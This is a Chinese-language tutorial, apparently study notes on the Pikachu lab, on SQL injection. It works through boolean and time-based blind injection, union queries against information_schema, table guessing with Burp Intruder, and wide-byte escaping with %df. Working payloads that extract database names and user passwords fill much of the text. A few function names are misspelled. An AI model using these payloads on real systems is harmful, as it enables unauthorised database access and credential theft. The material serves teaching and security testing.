有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽的报错,此时无法根据报错信息来进行注入的判断,盲注又分为布尔盲注和时间盲注两种类型。
布尔盲注的主要特征:
输入 kobe的username,判断是否存在布尔盲注:
kobe’ and 1=1 # 和 kobe’ and 1=2 # 据此来判断是否存在布尔盲注
通过length函数判断数据库长度和数据表字段信息数量
一步一步试出当前数据可的长度
lili' and length((select database()))=7 #
lili' and substr((select databse()),1,1)='a' #
通过substr,ascii函数判断数据库名,表名,字段值
substr为截断字符串函数,第一个参数为SQL语句,第二个参数表示从第一个字符考试,第三个参数表示截取一个字符,判断该字符为a。
利用Burp 中的测试器来暴力破解:
抓包发送到测试器:
点击开始攻击,得到结果,这里根据结果的长度,来判断库名的字符。
通过上述方法即可获取当前数据库库名: pikachu
通过其它函数进行布尔类型的盲注:
left()函数:
lili' and left((select database()),1)='p' #
mid()函数
lili' and mid((select database()),1,1)=char(112) #
正则表达式regexp
lili' and (select database()) regexp '^p' #
like函数:
lili' and (select database()) like 'p%' #
if语句
if(判断条件,正确返回的值,错误返回的值)
if语句中第一个参数为真,则输出第一个值为1,不为真输出第二个值0
lili' and 1= if(((select database())like 'p%'),1,0) #
布尔盲注在页面上还能看到0 or 1的回显
基于time的盲注返回的界面都一样,但可以通过时间,通过特定的输入,判断后台执行的时间,从而确认注入。
时间盲注通常使用sleep()等专用的延时函数来进行是将盲注
为了提高效率,通常在表达式判断为真时执行延时语句
注入的payload:
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
这样即完成了布尔注入。
select username,password from user where id=1 union select 字段1 ,字段2 from 表名
联合查询的字段数需要和主查询一致
字符型注入界面中,利用payload : a’ order by 5 # 测试出主查询中有几个字段
确认字段后,构建union。
如查询数据库版本,当前用户显示出来,payload:
a' union select database(), user()#
Select version(); //取的数据库版本
Select database(); //取得当前的数据库
Select user(); //取得当前登录的用户
order by X //对查询的结果进行排序,按照第X列进行排序,默认数字0-9 ,字母a-z
思路:对查询的结果使用order by按照指定的列进行排序,如果指定的列不存在,数据库会报错。通过报错判断查询结果的列数,从而确定主查询的字段数。
mysql中information_schema表存放大量的重要信息,
SCHEMATA表:提供了当前mysq|实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema ,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
通过9)中获得数据库的名称pikachu后,通过information_schema去获取数据,通过union联合查询
获得所有表的payload:
kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
获得user表,获得每列的信息:
kobe' union select table_name,column_name from information_schema.columns where table_name='users'#
user表中,有username,password两列,
kobe' union select username,password from users #
字符型注入为例:payload:
kobe' and exists(select * from aa)#
kobe' and exists(select id from users)#
通过burp抓包,发送到intruder,进行暴力破解,得到对应的表名,列名
宽字节注入博客
字符大小为一个字节时为窄字节,字符大小为两个及以上的字节为宽字节
防止网站被sql注入,网站开发人员会做一些防护错误,最常见的是对一些特殊字符进行转义。
SQL注入需要闭合引号,PHP中的防御函数magic_qutes_gpc:在php中的作用是解析用户提交的数据,在敏感数据前面自动添加转义符。如在 ‘ 单引号前添加转义符
输入的引号被转义之后只当作了一个字符串,无法发挥作用
如何让转义符’\‘失去作用,这样的sql注入就是宽字节注入
\ 转义通过编码是 %5c,找到一个字节编码让其组成一个新字符,如%df。
这样之后,输入的引号的特殊意义就存在,可以是包裹字符串的了。
通过在单引号前面加“%df”,来让单引号逃过转义即可。
安全函数的写入,关闭数据库错误回显,用户输入内容判断
sql注入的实质是针对各种类型的输入进行闭合测试,构成合法的sql,从而去欺骗后台执行